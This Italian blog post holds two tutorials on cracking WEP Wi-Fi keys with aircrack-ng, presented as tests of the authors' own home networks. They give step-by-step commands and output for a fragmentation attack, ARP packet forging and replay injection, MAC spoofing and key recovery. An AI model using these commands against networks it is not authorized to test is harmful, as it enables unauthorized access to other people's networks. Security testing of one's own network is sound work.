Notate che grazie ad airodump-ng possiamo verificare se sono in transito sul nostro AP dei pacchetti "data" attraverso i numeri riportati nelle colonne "#Data, #/s" che ci indicano il numero di paccheti di quel tipo sniffati e quanti ne catturiamo al secondo, ovviamente avendo attivato l'opzione "-w" stiamo registrando questi pacchetti in un file. Visto che la rete è la nostra e magari non c'è nessun altro connesso oltre a noi, possiamo fare in modo che si generi del traffico di questo tipo pingando un host sconosciuto con un client connesso via cavo.
Adesso che siamo associati e stiamo sniffando il traffico di rete sul nostro AP passiamo al vero e proprio attacco a frammentazione. L'obbiettivo primario di questo attacco è quello di ottenere attraverso dei pacchetti in transito una "porzione di chiave", ottenuta questa possiamo creare un pacchetto ARP da inviare all'AP in continuazione perchè generi del traffico necessario al cracking della chiave WEP.
Partiamo con l'attacco a frammentazione, digitiamo da terminale:

--------------------------------------------------------------
aireplay-ng -5 -b 00:C1:10:xx:xx:xx -h 00:02:A6:xx:xx:xx ath0
--------------------------------------------------------------

L'output di sistema sarà:

--------------------------------------------------------------------------------
xx:xx:xx Waiting for a data packet...

Size: 136, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:C1:10:xx:xx:xx
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:19:D2:3B:91:85

0x0000: 0841 2c00 00c1 10xx xxxx 0019 d23b 9185 .A,.........;..
0x0010: ffff ffff ffff 1001 ffff 0000 4b9f 4a8e ............K.J.
0x0020: 7e0c 025d 0c68 7a0f 6901 6dbc 036f ae41 ~..].hz.i.m..o.A
0×0030: 672f 6808 e80a b2ca c33a 01ee c350 4407 g/h……:…PD.
0×0040: 1064 fa8c d9c0 00fb 7fd3 ff0b efb3 a5df .d………….
0×0050: 686b 76f1 47c7 776b b7c7 7aa5 3bd8 d440 hkv.G.wk..z.;..@
0×0060: ef4e e26c 4862 8df6 eb27 f71e 0d99 4786 .N.lHb…’….G.
0×0070: eca2 53c5 79ab 0c86 bbcc b3ab ce58 03ab ..S.y……..X..
0×0080: 77ee f69a 0244 3ac4 w….D:.

Use this packet ?
———————————————————————————

Quindi il sistema ha individuato un pacchetto che potrebbe andare bene al nostro scopo, noi controlliamo che l’etichetta “Size“, e cioè la dimensione, superi sempre i 68 bit. Selezioniamo il pacchetto premendo la lettera “y” per confermare la scelta. A questo punto il sistema cercherà di memorizzare la “porzione di chiave” in un file “.xor” che useremo insieme a packetforge-ng per creare il pacchetto ARP da iniettare nella rete.

———————————————————————————
Saving chosen packet in replay_src-xxxx-xxxxxx.cap
xx:xx:xx Data packet found!
xx:xx:xx Sending fragmented packet
xx:xx:xx Got RELAYED packet!!
xx:xx:xx Thats our ARP packet!
xx:xx:xx Trying to get 384 bytes of a keystream
xx:xx:xx Got RELAYED packet!!
xx:xx:xx Thats our ARP packet!
xx:xx:xx Trying to get 1500 bytes of a keystream
xx:xx:xx Got RELAYED packet!!
xx:xx:xx Thats our ARP packet!
Saving keystream in fragment-xxxx-xxxxxx.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
——————————————————————————–

Il sistema ha salvato la chiave nel file “fragment-xxxx-xxxxxx.xor“, usiamolo con packetforge-ng per creare il pacchetto che andreamo a iniettare:

——————————————————————————————————
packetforge-ng -0 -a 00:C1:10:xx:xx:xx -h 00:02:A6:xx:xx:xx -y fragment-xxxx-xxxxxx.xor -w arprequest -k 255.255.255.255 -l 255.255.255.255
——————————————————————————————————

dove:
-0 specifica che vogliamo creare un pacchetto ARP
-a 00:C1:10:xx:xx:xx è il MAC dell’AP
-h 00:02:A6:xx:xx:xx è il nostro MAC
-y fragment-xxxx-xxxxxx.xor
-w arprequest è il nome del file dove salveremo il pacchetto ARP

A conferma del lavoro svolto il sistema risponderà:

—————————-
Wrote packet to: arprequest
—————————-

Controlliamo se airodump è ancora in esecuzione, altrimenti avviamolo come al passo precedente, e mettiamo la finestra in un luogo ben visibile del monitor.
Controllato che airodump-ng sia attivo possiamo iniziare a trasmettere il pacchetto creato,usiamo aireplay-ng:

———————————-
aireplay-ng -2 -r arprequest ath0
———————————-

dove:
-2 indica che la selezione del pacchetto è interattiva
-r arprequest secifica il file da dove leggere il pacchetto ARP
ath0 è la nostra interfaccia di rete

Il sistema risponderà:

———————————————————————————–
Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:C1:10:xx:xx:xx
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:02:A6:xx:xx:xx

0×0000: 0841 0201 00c1 10xx xxxx 0002 a658 b8b5 .A…….. .X.[
0x0010: ffff ffff ffff 8001 a780 2e00 3480 c19c ............4...
0x0020: c503 b67c 7861 87bb e28e dc23 1fa3 6ff2 ...|xa.....#..o.
0x0030: 7ba4 9b96 bdc3 642f d2e7 3332 fdaa 54ea {.....d/..32..T.
0x0040: 962b 97e9 .+..

Use this packet ?
------------------------------------------------------------------------------------
Rispondiamo affermativamente inserendo la lettera "y" e confermiamo, aireplay incomincerà a inviare il pacchetto creato:

------------------------------------------------------
Saving chosen packet in replay_src-xxxx-xxxxxx.cap
You should also start airodump-ng to capture replies.

Sent 6832 packets...(341 pps)
------------------------------------------------------

Come potete leggere dalle risposte del sistema,stiamo inviando 341 pacchetti al secondo. Guardate ora la finestra di airodump-ng, se nella colonna "#Data" il numero incrementa velocemente significa che tutto è andato a buon fine e siamo a un passo dall'ottenere la chiave. Memorizzati abbastanza pacchetti di questo tipo, circa 100000 per una chiave WEP a 128 bit possono bastare, passiamo al cracking vero della chiave WEP con aircrack-ng...Apriamo un'altro terminale e inseriamo il comando:

-------------------------------------------------
aircrack-ng -z -b 00:C1:10:xx:xx:xx capture*.cap
-------------------------------------------------

dove:
-z indica il tipo di attacco PTW
-b 00:C1:10:xx:xx:xx filtra nel traffico catturato quelli provenienti dall'AP con questo MAC
-capture*.cap è il file contentente il traffico catturato.

Il sistema risponderà:

--------------------------------------------------------------------------------------------------
Opening capture-01.cap
Read 1636119 packets.

Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 535892 ivs.

Aircrack-ng 0.9.1 r829

[00:00:00] Tested 0/1400000 keys (got 535892 IVs)

KB depth byte(vote)
0 0/ 1 xx(xxxx) 6F(2224) 5A(2222) E2(2203) 00(2201) 2A(2197) 4D(2187) 52(2184) 9A(2183)
1 0/ 1 xx(xxxx) FE(2225) 0D(2217) A5(2211) 8A(2191) 11(2185) 1F(2182) 4E(2177) 2D(2172)
2 0/ 1 xx(xxxx) 95(2220) 1E(2200) 42(2194) 36(2188) D6(2185) 53(2177) 22(2176) 61(2176)
3 0/ 1 xx(xxxx) 5D(2222) D6(2208) 15(2206) 4D(2204) 38(2201) CC(2201) 2E(2196) 01(2186)
4 0/ 1 xx(xxxx) 89(2211) E8(2211) F7(2209) 68(2208) 4B(2202) 4D(2199) DB(2193) F5(2188)
5 0/ 1 xx(xxxx) A0(2234) 09(2203) 3A(2201) 63(2192) 55(2191) 29(2188) AF(2182) F9(2181)
6 0/ 1 xx(xxxx) 13(2211) CE(2198) 82(2188) 39(2178) AA(2178) BC(2177) DC(2175) 8F(2173)
7 0/ 1 xx(xxxx) 7E(2236) 8B(2203) 11(2200) 48(2196) 1C(2178) 51(2178) 33(2176) 64(2175)
8 0/ 1 xx(xxxx) F4(2243) A3(2214) F0(2204) E5(2188) 49(2187) 79(2177) 91(2174) 84(2173)
9 0/ 1 xx(xxxx) E0(2251) 82(2241) 45(2224) D3(2208) D8(2203) 54(2202) EA(2193) 5E(2174)
10 0/ 1 xx(xxxx) 78(2265) B9(2232) 52(2223) 13(2206) 66(2203) 44(2193) BF(2191) C6(2188)
11 0/ 1 xx(xxxx) 6E(2223) D5(2207) 7B(2194) F4(2194) E3(2184) 2B(2180) 18(2177) D6(2176)
12 0/ 1 xx(xxxx) 8F(2201) 1F(2197) FE(2191) 56(2182) C5(2181) 37(2178) B0(2174) BF(2170)

KEY FOUND! [ xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx ]
Decrypted correctly: 100%
————————————————————————————————-

Come potete vedere abbiamo ottenuto la chiave WEP!

Spero di essere stato utile.

PinguinoNinja

Eccoci…salve a tutti…

Prima di iniziare, qualche doverosa premessa. Un ringraziamento a br1g4nt3 per ospitarmi in questo suo interessante blog.

Quelli che seguono, ora e (spero!) più avanti nel tempo, sono miei “appunti sparsi” riguardi la backtrack, linux e la sicurezza informatica.

Non sono e non possono essere completi e perfetti anche perché non sono quello che si può’ definire un esperto nel campo… Sono un po’ curioso e navigando, leggendo (molto e purtroppo in inglese!) e provando, ho scritto queste poche righe. Le prove che seguono sono state tutte effettuate sulla mia rete domestica, alla quale sono collegati solo ed esclusivamente (spero!) computer da me utilizzati.

Ho effettuato queste prove, solo ed esclusivamente per “testare” la validità della sicurezza della mia rete wireless nell’intento di prevenire intrusioni da parte di sconosciuti. Invito i lettori di queste righe a porre la giusta attenzione sul fatto che violare reti altrui e’ cosa da NON fare….. Cominciamo? La situazione di lavoro è la seguente:

• un modem adsl, router, wireless (lo indichero’ con AP)
• un computer con windows2000 (Client1)
• un computer con Ubuntu (Client2)
• un portatile con cui effettuerò’ i miei esperimenti.

Appena ho comprato l’AP, un po’ per pigrizia, un po’ per ignoranza, non ho impostato nessun tipo di cifratura (WEP o WPA). L’unica cosa che fortunatamente ho fatto è stata quella di impostare un filtro sui MAC address dei client che si possono connettere al router tramite il wireless. Col passare del tempo, navigando e iniziando ad interessarmi alla “sicurezza informatica” ho iniziato a capire che questa scelta, anche se buona, non era però sufficiente. I dati nella mia rete, ma soprattutto “nell’aria” viaggiavano “in chiaro”.

Ho deciso quindi di attivare una cifratura WEP sul mio AP, e sui due client, con una chiave a 64 bit. Per vedere se questa mia scelta, è sufficiente a tenere lontani gli intrusi, ho deciso di utilizzare una suite che la nostra distro ci mette a disposizione.

Si tratta della suite aircrack-ng.

Un po’ di teoria, così come sono riuscito a capirla:

Ogni pacchetto WEP ha associato un vettore di inizializzazione (detto IV). Catturando un numero abbastanza consistenze di pacchetti (e quindi di vettori) è possibile effettuare su di essi un’analisi/attacco di tipo statistico per trovare la chiave WEP con cui sono stati cifrati e quindi la chiave WEP della rete sotto analisi.

La prima cosa da fare è porre la nostra scheda wireless in monitor mode.

La scheda si mette in ascolto di tutto quello che le passa intorno.

Sul Wiki di backtrack c’è un elenco di schede wireless (pci, pcmcia e usb) consigliate e le istruzioni per attivare, per ognuna di esse, il monitor mode.

La seconda cosa da fare è cambiare, con l’istruzione macchanger, il MAC address della scheda. In questa maniera l’AP non la riconosce tra quelle autorizzate e quindi a tutti gli effetti potrebbe essere la scheda di un probabile intruso. Creiamo anche una directory apposita, dove poi ci sposteremo prima di eseguire i vari comandi, poiché i comandi che seguono porteranno alla creazione di numerosi file che in seguito potremmo cancellare più velocemente proprio perché sono contenuti tutti in un’unica directory. A questo punto apriamo una shell e digitiamo airodump-ng ath1 (abbiamo eseguito airodump-ng passandogli come parametro l’interfaccia wireless che avevamo posto in monitor mode) otteniamo:

In questo caso ci viene segnalata la presenza di un solo Access point (giusto!) il cui MAC address e indicato sotto l’etichetta BSSID (00:0F:3D:??:??:??).

Ci viene anche segnalato che a questo AP sono collegati due computer client (giusto! Sono: Client1 e Client2).

Sotto l’etichetta STATION vengono indicati i due MAC address (diversi chiaramente tra loro) delle due distinte schede di rete dei due client.

In alto a sinistra notiamo l’etichetta CH seguita da un numero che cambia ciclicamente. Rappresenta il canale radio che airodump-ng sta in quel momento analizzando alla ricerca di un AP. Notiamo che l’AP sta lavorando sul canale 6 e successivamente focalizzeremo airodump-ng solo su questo canale per raccogliere solo i dati necessari.

Fermiamo ora il programma e sempre nella stessa shell lanciamo il comando:

airodump-ng -c 6 -w prova ath1

(abbiamo aggiunto il parametro -c per focalizzare il programma solo sul canale 6 ed il parametro -w per far scrivere i dati che ci interessano sul file prova , il programma creerà il file “prova-01.cap“).

Avremo una schermata molto simile alla precedente solo che il CH “non si muoverà”.

NON fermiamo il programma, che sta ascoltando e salvando i pacchetti eventualmente utili. La nostra idea è di salvare quanti più possibili pacchetti IV (il numero dei quali è indicato sotto l’etichetta #Data).

Quanti pacchetti ci servono per “trovare” una chiave WEP?

Orientativamente dai 300.000 al 1.000.000. Chiaramente sono delle cifre che devono essere utilizzate per avere l’idea dell’ordine di grandezza. Ce ne possono bastare 200.000 come ne potremmo aver bisogno di 2.000.000!

Ora o aspettiamo pazientemente per delle ore, o “aiutiamo” la rete a generare nuovi panchetti IV.

Questo e’ possibile in vari modi , vediamo quello classico e più semplice, per ora. Utilizziamo l’attacco ARP-request replay.

ARP-request replay , è un tipo di attacco pero’ che non funziona se non c’è traffico nella rete. Nella mia rete, il traffico c’è, lo sto generando apposta , e quindi lo usiamo.

A questo punto apriamo una nuova shell e digitiamo:

aireplay-ng -3 -b <MAC address dell’AP> -h <MAC address del Client> ath1

il warning che otteniamo, relativo alla differenza di MAC address tra la nostra scheda e quella del client, è del tutto ininfluente.

Molto semplicemente, ma perché così l’ho capito, il programma si mette in ascolto di un pacchetto ARP e appena lo sente lo ritrasmette all’AP. L’AP lo ritrasmette con un nuovo IV che viene catturato e così via.
Ci sono vari modi “per forzare” un primo invio, da parte dell’AP, di un pacchetto ARP, ma magari li vediamo un’altra volta.

Non appena “inizia il giro” notiamo salire il numero degli ARP request

e nell’altra shell notiamo salire il numero dei #Data.

Quando arriviamo a circa 100.000 #Data, lanciamo in una terza shell il comando

aircrack-ng -a 1 -b <MAC address dell’AP> -n 64 prova-01.cap

Con questo comando chiediamo di trovare una chiave WEP, riferita all’AP il cui MAC address indichiamo, utilizzando il file prova-01.cap (che airodump sta creando).
Man mano che il file prova-01.cap “aumenta” il programma “aircrack-ng” legge i nuovi pacchetti salvati.

Utilizzando il parametro “-n 64” forziamo aircrack-ng a lavorare solo su chiavi a 64 bit.

La mia e’ una chiave a 64 bit e quindi con circa 130′000 IV viene scoperta immediatamente.

Analizzati 400.000 / 500.000 pacchetti IV, non trovando la chiave, si dovrebbe fermare aircrack-ng e lanciarlo nuovamente senza il parametro “-n 64”.

E’ stato sviluppato un altro programma, l’ aircrack-ptw , appositamente per trovare la chiave WEP.

Abbiamo visto, nel mio caso, che con circa 130.000 pacchetti IV (catturati in circa 20 minuti) siamo riusciti ad ottenere la mia chiave WEP.

Il sistema non è proprio sicuro!

Alla prossima!

nota:

Voglio ringraziare apertamente Fedora per il suo grande contributo al <back|track~blog. Io , a conoscenza o meno , non avendo una rete wireless in casa , non avrei mai potuto realizzare un tutorial simile , per questo gli esprimo pubblicamente i miei complimenti per il suo ottimo lavoro…grazie.

*****A causa della maledetta formattazione del blog , ho docuto tagliare la parte destra delle finestre , fortunatamente non conteneva nulla di speciale.*****